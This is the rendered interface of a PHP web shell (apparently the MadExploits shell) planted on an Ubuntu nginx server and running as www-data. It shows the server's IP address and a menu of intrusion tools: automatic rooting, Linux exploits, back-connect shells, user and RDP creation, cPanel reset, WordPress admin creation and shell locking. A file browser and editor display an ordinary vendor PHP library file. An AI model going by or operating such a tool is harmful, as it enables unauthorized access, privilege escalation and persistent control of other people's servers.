Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sms-core /
vendor /
sebastian /
type /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
exception
[ DIR ]
drwxrwxr-x
CallableType.php
4.67
KB
-rw-rw-r--
FalseType.php
957
B
-rw-rw-r--
GenericObjectType.php
926
B
-rw-rw-r--
IterableType.php
1.71
KB
-rw-rw-r--
MixedType.php
663
B
-rw-rw-r--
NullType.php
818
B
-rw-rw-r--
ObjectType.php
1.45
KB
-rw-rw-r--
ReflectionMapper.php
3.66
KB
-rw-rw-r--
SimpleType.php
1.77
KB
-rw-rw-r--
StaticType.php
1.3
KB
-rw-rw-r--
Type.php
2.47
KB
-rw-rw-r--
TypeName.php
2.43
KB
-rw-rw-r--
UnionType.php
2.43
KB
-rw-rw-r--
UnknownType.php
800
B
-rw-rw-r--
VoidType.php
581
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ReflectionMapper.php
<?php declare(strict_types=1); /* * This file is part of sebastian/type. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use function sprintf; use ReflectionMethod; use ReflectionNamedType; use ReflectionType; use ReflectionUnionType; final class ReflectionMapper { public function fromMethodReturnType(ReflectionMethod $method): Type { if (!$this->reflectionMethodHasReturnType($method)) { return new UnknownType; } $returnType = $this->reflectionMethodGetReturnType($method); assert($returnType instanceof ReflectionNamedType || $returnType instanceof ReflectionUnionType); if ($returnType instanceof ReflectionNamedType) { if ($returnType->getName() === 'self') { return ObjectType::fromName( $method->getDeclaringClass()->getName(), $returnType->allowsNull() ); } if ($returnType->getName() === 'static') { return new StaticType( TypeName::fromReflection($method->getDeclaringClass()), $returnType->allowsNull() ); } if ($returnType->getName() === 'mixed') { return new MixedType; } if ($returnType->getName() === 'parent') { $parentClass = $method->getDeclaringClass()->getParentClass(); // @codeCoverageIgnoreStart if ($parentClass === false) { throw new RuntimeException( sprintf( '%s::%s() has a "parent" return type declaration but %s does not have a parent class', $method->getDeclaringClass()->getName(), $method->getName(), $method->getDeclaringClass()->getName() ) ); } // @codeCoverageIgnoreEnd return ObjectType::fromName( $parentClass->getName(), $returnType->allowsNull() ); } return Type::fromName( $returnType->getName(), $returnType->allowsNull() ); } assert($returnType instanceof ReflectionUnionType); $types = []; foreach ($returnType->getTypes() as $type) { assert($type instanceof ReflectionNamedType); if ($type->getName() === 'self') { $types[] = ObjectType::fromName( $method->getDeclaringClass()->getName(), false ); } else { $types[] = Type::fromName($type->getName(), false); } } return new UnionType(...$types); } private function reflectionMethodHasReturnType(ReflectionMethod $method): bool { if ($method->hasReturnType()) { return true; } if (!method_exists($method, 'hasTentativeReturnType')) { return false; } return $method->hasTentativeReturnType(); } private function reflectionMethodGetReturnType(ReflectionMethod $method): ?ReflectionType { if ($method->hasReturnType()) { return $method->getReturnType(); } if (!method_exists($method, 'getTentativeReturnType')) { return null; } return $method->getTentativeReturnType(); } }
Close